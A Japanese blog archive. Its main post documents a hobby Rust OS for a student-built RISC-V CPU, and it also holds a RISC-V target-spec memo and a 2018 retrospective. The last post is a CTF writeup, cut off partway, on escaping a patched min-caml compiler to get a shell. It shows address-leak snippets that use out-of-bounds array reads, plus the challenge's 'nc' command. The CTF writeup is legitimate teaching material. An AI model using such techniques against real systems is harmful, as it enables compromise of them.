RISC Vに従うCPUの上で動作するOSをRustで書く（CPU実験余興）

お手製のCPUの上で自分で作ったOSを動かすというのは、割と夢のある行為だと思っていて、今回それを一定のレベルですることができたので、簡単に内容についてメモをしておこうと思います。

曖昧な日本語を読むより、プログラムを読むほうが速いと思う人は、駄文を読まずにGitHubを見てください。

https://github.com/moratorium08/osmium/

僕が書いたのはOSだけで、コアはATPが書きました。また、乗算命令の実装はdaiが書きました。

https://github.com/hitohira/yokyo

概要

RustでフルスクラッチでRISC-V(rv32im)で動作するOSの実装をしました。OSを実装するにあたり、ページングやカーネルとユーザーモードでの権限切り分け、割り込みなどの仕様を考える必要があり、これもRISC-VのPrivilegeの仕様書に従ったものにしました。仕様自体は、RISC-Vの仕様書にあって実装されていないものはあるかもしれないが、実装したものの仕様でRISC-Vの仕様には無いようなものはない（すなわち独自に導入した仕様は存在しない）です。ページングは具体的にはSv32の方式を実装しました。

実装したOSの主な機能は、

  • ブートローダー
  • Memory mappedなUART入出力
  • RISC-VのPrivileged Architecture、Sv32に従ったPaging
  • Supervisor ModeとUser Modeの権限分離
  • ELFファイルのパースとプロセス管理
  • clock割り込みによるpreemptive multitasking
  • trapのハンドリング
  • Copy on Write fork
  • fork, execve, exit, mmapなどのシステムコールの実装
  • プロセス間通信
  • 簡易的なファイルシステム

です。

また、これらのカーネルの機能を用いたUserモードで動作するアプリケーションとしてシェルを作成しました。このプログラム自体は簡易なものですが、一般的なLinuxにおけるシェルと同様の工程(fork, execve, wait, exit)を行うことで子プロセスを起動し実行できるようになっています。すなわち、この工程が少なくともできる程度のレベルでOSを実装したという感じです。

目次

RISC-Vとは

ググったほうが速いと思います。最近話題のオープン・アーキテクチャのISAで、基本的にはMIPSに似ていると思いますが、所々の負の遺産が無くなった洗練されたRISCのISAになっていると思います*1 。

そもそもx86のようなCISCのコアを書くのは厳しく、今回のように全く新しくOSを遊びで作ってFPGAで動かそうと思った時、RISC-Vを選ぶのは自然な選択だと思います。ツール周りとしては、gccやllvmバックエンドなどのコンパイラ基盤は既に存在していて、また今回は自作のものを使用したので使いませんでしたが、エミュレータもSpikeなどがあるようです。

なぜRust?

世の中のカーネルの上に存在する脆弱性の原因の大きな一因として、配列外参照や型エラーのような問題があり、Rustを使うことで、より強い静的な検査により安全性の高いOSを作ることができます。もちろん、OSを作る上でunsafeなfeatureを使わざるをえない部分は出てくるため、一般的なRustのプログラムを書く時ほどではないかもしれませんが、しかしunsafeな処理というのを他と区別することができ、unsafeを極力少なくすることで、不安定な部分に注力することができるようになると言えます。

さらに言えば、stdの機能が使えないにせよ、IteratorやResult/Optionおよびパターンマッチ、traitなどの機能を使うことができ、より洗練されたコードを書くことができると言えます。

まぁ以上のような利点があると前置きした上で、今回書く言語にRustを採用したのは僕の趣味です。

実装について

実装する上で少々苦労した点、真面目に実装した点などをメモします。

ISAとそれをターゲットにしたRustプログラムのビルド

割とここは本質です。Rustは昨年からRISC-Vのtargetを公式にサポートしています。しかし、RISC-VのISAはいくつかのベース(rv32i, rv64i..)に、Extensionを追加することで定義されるので、一口にRISC-Vといっても様々なヴァリアントが存在することになります。

今回OSを動かすにあたって使用したコアは、もともとCPU実験本流のレイトレーシングプログラムを動作させるために作ったものをベースとしたので、32bitのアーキテクチャであり、その場合現時点で公式にサポートされているISAはrv32imac, rv32imcの２つでした。mはInteger Multiplication and Division、aはAtomic Instructions、cはCompressed Instructions に関するExtensionが追加されていることをそれぞれ意味しています。

今回、さすがにマルチコアのCPU（RISC-Vで言うところの複数のhartsが存在するCPU）を作るのは厳しいよねという話にはなったので、Atomic命令は実装しないことにしました。さらに、今回Compressed命令も削るという話になりました。Compressed命令というのは頻度の高い命令で、頻度の高い即値(0のような)やレジスタ(zeroレジスタのような）に絞った16ビットの命令の集合です。RISC-Vの仕様書によれば、これらの命令で、一般的なプログラム全体の50-60%程度を構成できるそうで、結果として、コードサイズを25-30%程度減らすことが可能になります。

後から考えると、コアにCompressed命令を追加するのはDecoderと命令フェッチの部分をいじるだけなのでそれほど大変ではなかった可能性はありますが、後に説明するMMUやCSR(Control and Status Regsiter)の処理などの実装があることを考えると、命令セットで可能な処理としては等価であることを考えれば、Compressed命令も無くしてできる限り単純化したいという気持ちになります。

その場合上述した通り、公式にはrv32imというようなターゲットは存在しないので、自分でクロスコンパイルのビルド環境を整える必要があり、これに関しては上述のWriting an OS in Rustや公式ドキュメント、The Embedded Rust Book、およびRustでRISC-V OS自作！はじめの一歩を参考に、xargo/xcargoを用いたビルド環境を整えました。詳しくは、前に書いた記事 や、実際のリポジトリを見てください。

これにより、standard libraryなしでのビルドが可能になります。

Privilege Architectureについて

RISC-VのPrivilege Architectureの仕様書に沿う形で実装がなされています。これによると、RISC-Vのprivilege levelsは現状全部でMachine/Supervisor/Userの3つであり、いかなるハードウェアもいかなる権限も持つMachineモードを実装しなければならない、となっています。

ところで、今回は、ページングの実装をしたかったので、Supervisorモードも必須でこの場合M-S-Uのすべてのモードを実装する必要があります。しかし、今回は単純化のため、マシンは起動直後にただちにでSupervisorモードに移行し、割り込み命令は、常にdelegate bitが立っていると考え、すべてSupervisorで処理されるものという実装になっています。

SupervisorのCSRはほぼすべて利用しており、これに対するcsrrw/csrrc/csrrsなどの命令や、sret、ecallがSystem系命令になり、これらをATPがコアに実装したのでそれを使っています。

UART入出力周り

入出力に関してはUARTを使おうと決めていたので、UARTを用いた入出力処理をまずは書くことになると思います。UARTはメモリマップドにしたので、1byteずつ特定のメモリに書き込んだり読み込めば終わる話ですが、もう少しリッチに出力がしたくなります。そのために、print!マクロやprintln!マクロを実装し、普通のRustでやるようなフォーマット出力などができるようにします。

Rustは、 core::fmt::Write トレイトを実装すれば、かなり容易に実現できます（0x80000000は今回取り決めたUARTの入力アドレスです）。

use core::fmt::Write;

const UART_RX: *const u8 = 0x80000000 as *const u8;
const UART_TX: *mut u8 = 0x80000004 as *mut u8;

struct UART;

fn write_byte(byte: u8) {
    unsafe {
        *UART_TX = byte;
    }
}

impl Write for UART {
    fn write_str(&mut self, s: &str) -> core::fmt::Result {
        for c in s.bytes() {
            write_byte(c);
        }
        Ok(())
    }
}

pub fn print(arg: ::core::fmt::Arguments) {
    UART.write_fmt(arg).expect("failed to send by UART");
}

#[macro_export]
macro_rules! print {
    ($($arg:tt)*) => ($crate::uart::print(format_args!($($arg)*)));
}
#[macro_export]
macro_rules! println {
    () => (print!("\n"));
    ($arg:expr) => (print!(concat!($arg, "\n")));
    ($fmt:expr, $($arg:tt)*) => (print!(concat!($fmt, "\n"), $($arg)*));
}

ページング

RISC-Vにはページングに関する仕様が存在します。今回の実装は32bitなので、選択肢は一つでSv32がそれにあたります。非常に大雑把に説明すれば、Superpageを無視すれば、仮想アドレスの上位10bit、次の10bitを用いて二回テーブルを引き、引いた最後のテーブルのエントリと仮想アドレスの下位12bitのオフセットを足し合わせることで実際の物理アドレスを得るという2段のジャンプを行う形式になっています。 詳しい仕様は、当然仕様書を見れば分かりますし、日本語ではmsyksphinz さんがいろいろとエントリを書いていらっしゃるのでそちらを見ると良いと思います。

今回実装するにあたり、メモリアドレス変換を入れた後で途中のページテーブルにアクセスする方法に少し苦労したのでこれについてメモをします。

まず上で書いたように仮想アドレスを物理アドレスに変換するにあたって、二回テーブルを引くことになります（ここでSuperpageは考えません）が、このテーブルを前から順にT0, T1とします。このとき、ページングの実装として問題になるのは、MMUをonにした後で途中のT1のテーブルにアクセスするのが難しいという点です。というのも、T0のテーブルは今回プロセスの数だけ起動時に用意したため、テーブルへの仮想アドレスはすでに分かっていますが、T1のテーブルは動的に割り当てる（起動時にすべてのメモリをカーネルのページ空間にマップしない）ので、そのテーブルへの物理アドレスは分かっていても、アクセスするための仮想アドレスは、定義されていないのでアクセスすることができない状態になっています。

これに対処するための手段として、例えばx86では、T0のテーブルの一つのエントリを、T0自身に割り当てることで、MMUの2回のページテーブルの遷移を打ち消すことができるという手法が存在します（Recursive pagingなどというと思います）。実際x86のページングではこれによりかなり効率良く、すなわち無駄になるアドレス空間、及び実際のメモリは最小限にして、途中のテーブルにアクセスが可能になります。

ところで、Sv32の仕様を読むと分かるように、Sv32では各ページのテーブルエントリが、Leaf、すなわち次に示すのが変換先の物理アドレスのページの先頭であるか、それとも次のページテーブルへのポインタであるかのどちらかであると定義されています。そして、2回より多くの遷移を行おうとした場合それはPageFaultになってしまうと思われます（ここらへんなにか理解を間違えていたら教えていただきたいですが）。

すると上のようなRecursiveエントリを作るという手法は使うことができないことがわかります。なぜならば、アクセスしようとしているテーブルを指すページテーブルエントリは、Leafではないからです。これに対処するため、T0のページと対になるもう一つのテーブルT0'を事前に用意し、T0の一つのエントリをそのテーブルにマップするようにし、それ以外のエントリは、T0とT0'ともに同じになるようにするという方法で上述の処理を実現しました（下図）。

f:id:moratorium08:20190302191743p:plain:w450

この方式はRecursiveなページエントリを用いる方式に比べて、メモリをPAGESIZE分余計に消費するが、しかし同等の機能を得ることができていると言えます。とはいえあまり綺麗な方法でもないので、ここらへん詳しい方がいて見ていたら教えていただけると助かります。

ELFのパース

RustにはgoblinというELFパースをするzero-copyなライブラリがありますが、同期命令の関係上今回使用することができなかったので、自分で簡単なパースをしました。

ELFはメモリの上に乗せればただちにパースしやすい構造になっているので、以下のように構造体を作れば、（少々チェックが足りないかもしれませんが）構造をそのまま取り出せます。

#[derive(Debug)]
#[repr(C)]
pub struct ElfHeader {
    pub magic: u32,
    pub elf: [u8; 12],
    pub etype: u16,
    pub machine: u16,
    pub version: u32,
    pub entry: u32,
    pub phoff: u32,
    pub shoff: u32,
    pub flags: u32,
    pub size: u16,
    pub phentsize: u16,
    pub phnum: u16,
    pub shentsize: u16,
    pub shnum: u16,
    pub shstrndx: u16,
}

/*...*/

    pub fn new(bytes: *const [u8]) -> Result<Elf<'a>, ElfError> {
        let bytes = unsafe { &*bytes };
        let elf = unsafe {
            let data: *const ElfHeader = bytes.as_ptr() as *const ElfHeader;
            &*(data)
        };
        if elf.magic != ELF_MAGIC {
            return Err(ElfError::InvalidMagic);
        }
        Ok(Elf { bytes, elf })

詳しくは、ソースコード を見てください。ここらへんの話はまぁ特定の界隈的には常識かもしれません。

Copy on Write fork

Copy on Writeなforkを実装したという話です*2 。

新しいプロセスを作る上で必要になるのが、現行のプロセスから、メモリの状態が全く同じでクローンされた別のプロセスを作る操作、すなわちforkです。

この実現には、プロセスのメモリ全体をコピーする操作が必要となります。ここで、マップされているすべてのメモリをコピーすることでも当然実現可能ですが、これは大量のメモリアクセスを発生させる非常にコストの高い操作になってしまいます。

これをある程度緩和させる手段として、ページテーブルをコピーして、書き込み可能なページに、Copy on Writeフラグを立て、その後fork前とfork後のいずれかのプロセスでそのメモリに書き込みが起こったときに、実際にコピーを実行する、というCopy on Writeの方式を取ることでメモリのコピーを遅延評価することができるという方法です。これは、forkが起こった後の処理として多くの場合、execveというアドレス空間を大きく書き換える処理が発生するので、書き換えられることのないページを余計にコピーすることが無くなり、効率が良くなることが期待されます。

f:id:moratorium08:20190302191736p:plain:w450

今回、Copy on Write forkを実装するにあたっては、ページテーブルのエントリのRSWの1bitを利用しています。

f:id:moratorium08:20190302222319p:plain:w450

trapのハンドルとpreemptive multitasking

上述のように、すべての割り込みはSupervisorがキャッチするようになっているので、以下利用するCSR(Control and Status Register)はすべてSupervisorのものになります。

まず、trapをハンドルするためには、trapが発生したときに移行する命令アドレスを設定しておく必要があります。そのためにSTVECというCSRにそのアドレスを設定します。なお、今回はVectoredモードではなくDirectモードを利用しています。

設定をすると、trap時にプログラムカウンタが設定された値になり、ここからTrapFrameを操作する処理をします。このとき、割り込み用のスタックに移動するとともに、Userモードのレジスタの退避をします。このとき、レジスタの一時退避用にsscratchというCSRを利用します。また、このトラップが発生したときのプログラムカウンタはsepcに入っているのでこれを保存します。

https://github.com/moratorium08/osmium/blob/master/kernel/src/trap.rs#L394-L437

その後、scause及びstvalの値を見て、トラップを適切にハンドリングします。

また、カーネルから元のユーザーモードに戻るには基本的に同様の処理を逆向きに行えば良く、すべてのレジスタを適切に設定し、specに戻り先のユーザープログラムのプログラムカウンタを設定した上でsretをします。

https://github.com/moratorium08/osmium/blob/master/kernel/src/trap.rs#L461-L544

クロック割り込みは上述のtrapの仕組みにより得られるものの一つです。RISC-Vでは、mtime, mtimecmpという2つのメモリマップドなレジスタを利用してタイマー割り込みを制御します。クロック割り込みを受けたときの流れは単純で、現状動いているプロセスをRunnnableな状態にして、別のRunnableなプロセスを実行に移すという処理をします。かっこいいスケジューリングを実装している余裕は無かったので、単純に直近で最もRunnableかどうかをチェックしていないものから順にRunnableかどうかをチェックしていき、最初に見つかったものをRunningにするという処理をしています。

https://github.com/moratorium08/osmium/blob/master/kernel/src/trap.rs#L340-L345

https://github.com/moratorium08/osmium/blob/master/kernel/src/proc.rs#L260-L279

プロセス間通信

プロセス間通信の一般的な手法として、通信用のキューに対する出し入れ、いわゆるメッセージパッシングと、同一物理メモリを共有するメモリシェアリングの２つの方式があります。今回それらを両方実装しました。

メッセージパッシングを用いた方法は、（コアの下図が増えるとcatch line bouncingの影響が強くなることなどがあり一概には言えないそう（Operating System Concepts)だが）、基本的には、プロセス間通信をするために毎度プロセス間通信のシステムコールを呼び出す必要があり、メモリシェアリングの方法に比べると、大量のデータをやりとりする場合は低速になります。今回の設計は、基本的にxv6の方法にかなり影響を受けていて、メッセージを受け取るMailboxを各プロセスが持ち、そのMailboxからデータを取り出すことができるプロセスは一つのみ、対して、そのMailboxにデータを送ることができるプロセスは多数になっています。また、Mailboxへのデータの送信とそのデータの受信は非同期的になっていて、特定のプロセスのIDとデータを送信し、実際にデータを受信したかどうかなどの同期は別途メッセージシェアリングの仕組みを用いてとる必要があるものになっています。

プロセス間の同期処理は基本的にこのメッセージパッシングを用いて行うものと仮定し、大規模なデータのやりとりに関しては、同一物理メモリを多数のプロセスが共有するメモリシェアリングを用いて行います。メモリシェアリング自体は、最初にシステムコールを一度呼べば確立ができ、データのやりとりがメモリの書き込み読み込みで可能になるので、システムコールを介さずに行うことができ高速になります。

まず、プロセス間通信を用いた遊びプログラムとして、catch_ball.rs があります。このプログラムでは、まずメッセージパッシングを用いてデータのやりとりをした後、メモリシェアリングを用いて交互に特定のメモリ領域にあるデータを操作しています。

ファイルシステム（簡易）

報告会(2/19)の時点では、流石にファイルシステムを実装している余裕が無かった（悲しい）ので、execveなどで利用するファイルのサーバーとしては、静的にファイルを登録した上で、名前一致でデータを取り出すというかなり簡易なものになっていました。さすがにこれでは悲しいという気持ちになったので、報告会後に多少まともなファイルシステムを作り始めました。

マイクロカーネルと一般に呼ばれるカーネルは、以上のような「メモリ・アドレス空間管理」、「プロセス管理」、「プロセス間通信」などという基本的な機能をカーネル側の権限で実装した上で、ユーザーランドで動作するプログラムによってファイルシステムやネットワークなどの機能を提供します。このOSでもその設計方針に則っています。

ファイルシステムの仕様は独自のものなので簡単に説明すると、一般的なファイルシステムと同様にブロックごとに管理をしていて、一番先頭のブロックにファイルシステムの情報を持つスーパーブロック、その次からどのブロックが使われているかを管理するマネージメントブロックが続き、その後ろに実際にデータを保存するブロックが続きます。

現状は、ファイルシステムは、レギュラーファイルとディレクトリの二種類のデータを管理していて、ディレクトリは再帰的にこれらを内包しています。

レギュラーファイル、ディレクトリはそれぞれ自分自身のメタデータを持つ領域を持ち、実際のデータへの二段間接ポインタを持ちます。例えばレギュラーファイルは以下のように、テーブルを二度辿ることで実際のデータへアクセスできるようになっています

f:id:moratorium08:20190317130346p:plain:w450

ディレクトリは、同様の構造で、自分が配下に持つファイルへのポインタを保持します。

ディスクのフォーマッタは、 Pythonで書きました 。まぁここまで書いておいてなんなんですが（書きながら作っていたんですが）、ファイルシステム周りの機能は用意した （ファイルはosmium/fs にあります）んですが、疲れてきてしまってOSにこれを組み込むところまでしていません。一人でやっていると寂しいので、誰か一緒にやってくれる人がいるといいですね（ほんまか）。まぁそのうちちゃんと実装すると思います。

システムコール

RISC-Vでは、Environment Callと言い、ecallという命令を用いることでEnvironment Call のExceptionを起こすことができます。システムコールの引数はa0, a1, ..で扱い、返り値はa0で返すという典型的な実装になっています。

シェル

以上の機能を体現できるユーザープログラムとして、シェルがあります。時間も無かったので最も基本的な機能しか積まれていませんが、fork -> execve -> exitという最も基本的なシェルの処理の流れを実際に行うことができるようにはなっていています。

pub extern "C" fn _start() -> ! {
    let mut buf = [0u8; 256];
    println!("** Osh **");
    loop {
        print!("$ ");
        let (len, b) = uart::buffered_readline(&mut buf);
        if len == 0 {
            continue;
        }
        if !b {
            println!("Sorry. too long. Please enter shorter command");
            continue;
        }
        let cmd = match str::from_utf8(&buf) {
            Ok(s) => s,
            Err(_) => {
                println!("Failed to parse your input. Try again.");
                continue;
            }
        };
        if buf[0] == b'e' && buf[1] == b'x' && buf[2] == b'i' && buf[3] == b't'  && len == 4{
            syscall::sys_exit(0);
        }
        match syscall::sys_fork() {
            syscall::ForkResult::Parent(id) => {
                loop {
                    match syscall::sys_check_process_status(id) {
                        syscall::ProcessStatus::Running | syscall::ProcessStatus::Runnable => {
                            syscall::sys_yield();
                        },
                        _ => {
                            break;
                        }
                    }
                }
            },
            syscall::ForkResult::Fail => {
                println!("fork failed");
            },
            syscall::ForkResult::Child => {
                syscall::sys_execve(cmd, len as u32, &[], &[]);
            }
        }
    }
}

エミュレータ上の動作

以上に実装したことについてつらつらと書きましたが、エミュレータの上で動作させることができるので、もし暇があればやってみてください。dockerが入っていれば

docker run -it moratorium08/osmium

で実行できます。ビルド環境の上に作ったイメージなので、割とでかくて、ダウンロードにはそれなりに時間かかると思います。

まぁもっとも、絵面はあまり面白くないと思います（以下の実装が動作していることが確認できます）。

感想

実装周りで特筆すべき内容は基本的に以上になります。ネットワーク周りについては何もしていないので、ここもきちんとできるとよりユーザー側でできることが増えるので良さそうです。さらに言えば、現状絵面的にはあまりおもしろくないと思うので、VGAだったりを使えるようにして、ウィンドウシステム実装したりしたらかなり楽しそうですね。まぁあと細部が雑（メモリallocしたは良いが回収していない、プロセスを回収できない、権限周りがだめなどなど）なので、ちゃんとしたらよりしゃきっとしたOSになるんじゃないでしょうか

自分のOSに関する知識のバックグラウンドとしては、

程度で、一度もOSを自分で実装したことが無かったので、良い経験になりました。現状実装したOSの機能はどれも典型的であまり新規性に富んだものではないので、興味深い機能を追加したりしたいものです。

それと、コアを実装したATPが非常にコアを書くのが上手で助かり続けたわけではありますが、複数人で短期間でオラオラと実装するのは楽しかったです。

参考にしたもの

余白：CPU実験について

あまり言及しませんでしたが、もともとこれは大学の情報科学科の実験科目であるCPU実験の余興として、好きなプログラムを動かしたい人が趣味で動かそうという気持ちでやった話になります。余興の先人はいろいろな人々がいますが、OS関連でいうと、xv6を移植して動かした人々 、OSを１から作った人々 がそれぞれいます。実際いざCPUが動くと感動するし*3 、さらにいろいろ動かしてみたくなるという気持ちは生えがちで、まぁ毎年余興をする人々が現れるようです（よく知りませんが）。

CPU実験本流の方は、同じ代でもっと高速化を真面目にやっていたり、強いコアを作っている人がいるため書くのもおこがましいなあという感じですが（コアに関することは、3つのアーキテクチャでレイトレーシングを完動 させて余興コア 作ったATPが明らかに詳しい、コンパイラは、2言語でmin-camlフルスクラッチ してLLVMバックエンド書いた uenokuが明らかに詳しい）、まぁ感想を残しておくのも悪くないのかもなあと思い、余白として書き残しておきます*4 。

CPU実験とは、 VerilogでコアやFPUを作り、OCamlでコンパイラを書くことで、お題となるレイトレーシングプログラムをFPGAの上で動作させ速度を競うという実験です。

この授業の本流としては、完動*5 をした上で、よりIPCが高く、動作周波数の高いコアの設計、および動的に実行する命令数を減らし、コアの命令レベル並列などにより生じる制約に対するより良いスケジュールを行うコンパイラの設計をすることにあります。

僕自身はコア係だったので、コア を作りました。それと、コンパイラ の命令数の削減をしました。アーキテクチャは、210MHzの単純なパイプライン（命令レベル並列なし、レジスタフォワーディングあり、ロード命令にアウトオブオーダー完了あり）というそんなに複雑じゃないやつです。

また、命令数の削減としては、基本的にはアーキテクチャの最適化が効くので、これをまずして、グローバルに定義されている配列は静的にマップして良いので（そういうルール）、マップした上で静的にアドレスを解決して1命令でロードしたり、そもそもRISC-Vからだいぶ逸脱して*6 、load命令は、word単位のみとした上で、4byte一単位で扱うようにしたり、いくつかのpeephole最適化と共通部分式除去の追加で17.8億程度の命令数になりました（実際には結局sqrtはソフトウェア実装を使ったので1億ほど増えました）。おそらくここらへんからがむしろコンパイラとしては本番で、データフロー解析/グローバルレジスタ割当くらいは時間があればやりたかったですね*7 。

結果としては、命令数が18.8億程度で20.7秒でした。過去の記録的には2006年ですでに18.8秒程度の記録があり、昨年まででは2016年の4秒台の記録 があるので、まぁ全然良くないわけですが、なんかやってみた感想としては、命令レベル並列ないし何らかの並列性が無いと、割とこのあたりになるんだなあということです（多分floating point周りのマルチサイクル命令をアウトオブオーダー完了にしたり、もう少し頑張って周波数を上げたり、命令数をもう少し減らせるので15秒程度までは頑張ればいけるかも）。

逆に命令数削減はやっていると分かることですが、命令セットやアーキテクチャにはよるものの11~13億あたりが上限の相場だと思われます（過去にwataさんの班 が8.8億程度の命令数まで減らしているようですが）。

まぁ要するに現代のCPUの作りからも分かるように、いかに並列に実行していくかというのが（多分）高速化のキモで、そこを楽しむことができなかったのが唯一CPU実験で悔いが残る部分です。とはいえ、コア、コンパイラ高速化、余興とCPU実験の各部分を触ることができて個人的には楽しかったです。

今年は他の班で強い高速化（GPU実験？）を行なっている人々がいるのでどうなったか気になるところですね*8 。

CPU実験、批判はあって、レイトレプログラムがOCamlっぽくなかったり、レイトレが使うメモリ量少ないので、メモリのキャッシュがいらなかったりするのが現代に沿わない、"完動"の定義があいまい *9 、そもそもコンパイラにはmin-camlがあるので、コンパイラとはみたいな話があったりしますが、その上で個人的にはCPU実験を通して *10 、いろいろなアーキテクチャやコンパイラの最適化の概念にふれることができ、それを通して先人の知恵（どんなISAが効率よくデコードできるか、パイプラインの設計はどうあるべきか、、、）を一つ一つ確かめることができる良い実験だったと思います。

実際上で書いたような機能を持ったOSをmin-camlで実装して、その上で動作するプログラム（並列に動作することをより意識したもの）を高速化するというのを課題にしてみたりするのは実際やろうと思えばできるだろうし（min-osみたいなのをある程度実装しておいて（誰かが）、重要な機能の仕様、例えばpagingやtrapの仕様を自分達で決めてその部分は自分で実装するみたいな感じで）、より理情的要素が増えるし面白いんじゃないかなあと思います。とはいえ、CPU実験、レイトレーシングの高速化がちょうど良い課題で、それでいて面白いから良いという話はあるので（実際このセメスターもCPU実験しているだけではないし、CPU実験みんなが好きなわけじゃないので）、まぁこの形態が今後も続いていきそうな感じはしますね（2004erのunnoさんがこの話題に既に言及 していて、それでいて特に何も変わっていないので、まぁそういうことなんだろうなあという感じはあります）。まぁなんにせよ、僕には楽しい実験でしたが、ところでVivadoとはもうお付き合いしたくない気持ちにもなりました。終わり

*1:実際CPU実験をするという意味においてRISC-Vを選ぶのはかなり良い選択肢だと思います。もっとも、高速化のためにはいくつかの逸脱が必要だと思いますが

*2:まぁこれもOS界隈的には何をアタリマエのことをという可能性はありますが。。

*3:完動なので

*4:それはそうですが、それほど強くないアーキテクチャのときどれくらいの記録が出るのかというのは意外と知見が無いです

*5:実装したコアとそのシミュレータの動作でそれぞれの結果同士にdiffが無い状態のことを指し、ただし真っ黒な画像や"人間が見て"画像が壊れている場合は完動ではないとされている

*6:実は僕の班のアーキテクチャももともとはRISC-Vベースでした

*7:今後やるかもしれません

*8:まぁあんまこういう文章書きたがらない感じがしますが（ほんまか）

*9:シミュレータとのdiffがないのと同時に、完成画像に対して一定以内のdiffのような条件もほしい？

*10:教えてはくれませんが

RustでRISC VのISAに従った自作CPUの上でbaremetalするときに最小のプログラムを動かすためのメモ

Rust OS

背景

Rustには、最近RISC Vのターゲットが追加されたのでrustupでtargetをaddするだけで、動かせるように思うわけです。しかし対応しているものが(32bitで)riscv32imac/riscv32imcの２つに現状なっていて、自分の作ったコアがミニマムで、Compressedな命令（Extensionで言うところの"C"、16bit命令）を使われてしまうと、それに対応していなくてプログラムが動かせなくて困りました。

もっともLLVMには、Compressed命令ありでもなしでも動くように実装されているようなので、少なくともfreestandingなバイナリは、compressedなしでコンパイルできてもおかしくないという気持ちになります。ところで、ネットを探してもそのようなことをしている記事を見つけられなかったのでここにメモを残しておきます（もっとも、常識なのかもしれません）

結局以下のように単にターゲットのjsonを用意するだけで、Compressed命令なしで、バイナリを出すことができるようになりました。

方法

riscv-rust-hello をベースにします。RISCV向けに所々することは基本的にはこの記事 が参考になります。

https://github.com/japaric/rust-cross/blob/master/README.md#cross-compiling-no_std-code や https://os.phil-opp.com/minimal-rust-kernel/ を参考にすると、riscv32imaのtargetのspecが書かれたjsonファイルを作れれば良いことが言えます。またblog_os から、cargo xbuildを使うとcargoでクロスコンパイルさせることができ、良いことがわかります。

最後に https://doc.rust-lang.org/rustc/targets/custom.html によると

rustc +nightly -Z unstable-options --target=wasm32-unknown-unknown --print target-spec-json

のようにすれば、今存在するtargetのjsonが得られるのでこれをベースにfeaturesを書き換えると、お望みのriscv32imaが得られます。

結局既存のriscv32imac用のtarget specのjsonのうちfeatures部分を書き換えた以下のようなjsonを用いて、クロスコンパイルすると動くようになりました。

{
  "abi-blacklist": [
    "cdecl",
    "stdcall",
    "fastcall",
    "vectorcall",
    "thiscall",
    "aapcs",
    "win64",
    "sysv64",
    "ptx-kernel",
    "msp430-interrupt",
    "x86-interrupt",
    "amdgpu-kernel"
  ],
  "arch": "riscv32",
  "atomic-cas": false,
  "cpu": "generic-rv32",
  "data-layout": "e-m:e-p:32:32-i64:64-n32-S128",
  "emit-debug-gdb-scripts": false,
  "env": "",
  "executables": true,
  "features": "+m,+a",
  "is-builtin": true,
  "linker": "rust-lld",
  "linker-flavor": "ld.lld",
  "llvm-target": "riscv32",
  "max-atomic-width": 32,
  "os": "none",
  "panic-strategy": "abort",
  "relocation-model": "static",
  "target-c-int-width": "32",
  "target-endian": "little",
  "target-pointer-width": "32",
  "vendor": "unknown"
}

2018年の総括

毎年やっている気がするので

今年一年は学科が楽しかった気がします。来年はどうでしょうね（研究）

ウーン

最近は生活習慣が崩壊しがちなので、そこらへんをまず直したい。というか6時に寝るのは異常だということを身体が理解してほしい

地下は太陽が無いのでやはり太陽にあたっていくあたりから挑戦するべき、あとは英語精進をしないと死にそう。

その二点を頑張っていきたい、春休みの暇な時間はpwn精進ちょっとしたいな。去年はモラトリアム期間って言ってたが、さすがにそうもいかないところまで来てしまったらしい、最近はあんま生きている心地がしないのでもう少し真摯に生きていきたい

もう一点の懸念としては雑に使えるお金の量の単調減少。まぁ今働いてないからね、仕方ない。とはいえ学生は学問をすべきでは？という結論に至ってから、なかなか雑に働く気にもなれないので、学問してたらお金がもらえないかなという感じになっている。

人間、人生を考えすぎなので僕も考えなきゃいけないのかなという気持ちになってきた

"型破り"な min-camlプログラムと、それを用いたシェル奪取exploitについて

最初に

12/2 に出した問題のwriteupです。この投稿は、ISer Advent Calendar 2018 の23日目として書かれました。昨日は、とんがり さんの

dora119.hateblo.jp

でした。

Statement

副作用も、libcもいなくなったとき残るのは、型安全で純粋な素晴らしい世界のはずだった......

nc external.pwn.ctf-day3.tsg.ne.jp 31000

接続すると、min-camlのプログラムをサーバーに提出でき、サーバーはmin-camlコンパイラでコンパイルして実行をしてくれます。シェルを取れるようなプログラムを提出してフラグを得てください。ただし、min-camlコンパイラには問題を成立させるための以下に示すパッチが入っています。

パッチの概要

  • glibcを呼び出すような関数をlibmincaml.Sから削除
  • stub.cをglibcを用いないように書き換え
  • Arrayの代入構文を削除
  • Arrayのread構文の削除

Writeup

今回バイナリは、PIE + NX bitでコンパイルされます。なので、考えるべきは

  • 命令が配置されたアドレスリーク
  • eipの取り方
  • getsh

の３つです。

命令が配置されたアドレスリーク

これは、min-camlのクロージャを使います。クロージャとは、住井先生のクロージャ変換 の説明を見たほうがより分かりやすいと思いますが、「関数（アドレス）」と「自由変数束縛」を束ねたものをクロージャといいます。クロージャの構造はヒープの上に配置され、よってこのクロージャの中にある関数のアドレスから、命令の配置された場所が分かります。

ところで、クロージャはクロージャ変換に際して作られますが、このとき、自由変数が無い、クロージャが必要ないと保守的に判断できる場合は、実行効率の向上の為直接関数呼び出しが行われるようになっています。したがって、適切な関数を作る必要があり、例えば関数を引数に取るような関数に適用する関数などがそれにあたります

let rec g f = f 1 in
let rec f x = x + 1 in
let _ = g f

クロージャをヒープに置いた上で適当な配列の配列外へのアクセスを行えば、無事、命令の配置された場所が得られます

let rec g f = f 22 in
let rec f x = x in
let int80 = l.(1) + g f in

ただし、22は、ヒープに置かれるfの位置に対するint80であるmin_caml_startまでのオフセットです。

eipの取り方

この問題の本質部分です。個人的には、ideal.patchで与えたパッチによって、「ヒープ上の関数アドレスの書き換え」や「リターンアドレスの書き換え」ができないようにしたつもりでいます。よって、そのような方法以外でeipを取る必要があります。自分で書いたプログラムのeipを取るっていうのも変な話ですが。

min-camlの型システムは、"基本的に健全" だと思われます。すなわち、型がついたプログラムは、実行時に型エラーが起こることは無いはずです。やってみるとわかりますが、非常によく型推論をして型付けしてくれます（まぁそれはそうなんですが）。

ただし、これには例外があり、外部関数への関数適用は、正しい推論ができないという点です。というのも、外部関数はリンカでリンクされるものであり、その内部がmin-camlで閉じていないためです。このため、min-camlは、min-camlのプログラム内での「使われ方」が一貫しているかどうかまでしか見ていません。すなわち、fという外部関数に対して、f: int -> intであるような使い方をするコードと，f: int -> boolを両立させることは出来ないが、しかしプログラム内で一貫していれば任意の型付けをさせることができます。この話はtyping.mlの120行目付近 がその詳細です。

